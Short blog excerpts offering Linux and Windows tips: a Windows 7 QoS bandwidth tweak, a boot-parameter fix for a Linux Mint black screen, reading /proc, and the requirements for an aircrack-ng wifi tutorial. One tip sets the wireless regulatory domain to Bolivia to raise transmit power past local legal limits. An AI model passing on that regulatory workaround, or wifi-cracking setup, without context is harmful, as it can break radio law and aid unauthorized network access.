Debian, Ubuntu et al.

Exceptionally a tip for Win 7. Windows uses up to 20% of the bandwidth, but you can change this with the following steps. Run gpedit.msc ==> administrative settings ==>  network ==> qos packet scheduler ==> open LIMIT RESERVABLE BANDWIDTH ==> click on ENABLE and limit bandwidth to 0%. Restart. Thats it!

Recently I switched from Ubuntu to Linux Mint 13 on my HP mini netbook. Unfortunately I encountered a  'black-screen problem' similar to the one I already knew from Backtrack 5 ( http://ubuntu-skype.blogspot.co.at/2012/07/backtrack-5-black-screen-after-startx.html ). The solution was: press TAB add to the line  "..... ...... .... quiet splash "one of the following (depending on your chip set of your video card): radeon.modeset=1 i915.modeset=1 If that does not work for you try to add "driver=intel". E.g. quiet splash i915.modeset=1 driver=intel. I had success with that. Hope it works for you too!

Most information is stored in the /proc file. For example to obtain CPU or memory information simply enter: cat /proc/meminfo cat /proc/cpuinfo

Please be aware that there are country restrictions on maximum power. Commands iw reg set BO iwconfig  wlan0 txpower 30 That's it. You can check your settings with iwconfig .

Anybody should be able to do this. If you struggle with something, post a comment and I' ll get back to you. Requirements - Backtrack (or Linux with aircrack-ng installed) - Virtual machine (e.g. Vmware or Virtualbox) - USB Wifi adapter (you will need a wifi adapter which you can put in promiscuous mode . It wont work with your built-in notebook wifi card etc.) Buy this one: Alfa AWUS036H . It is cheap, reliable and works out of the box.
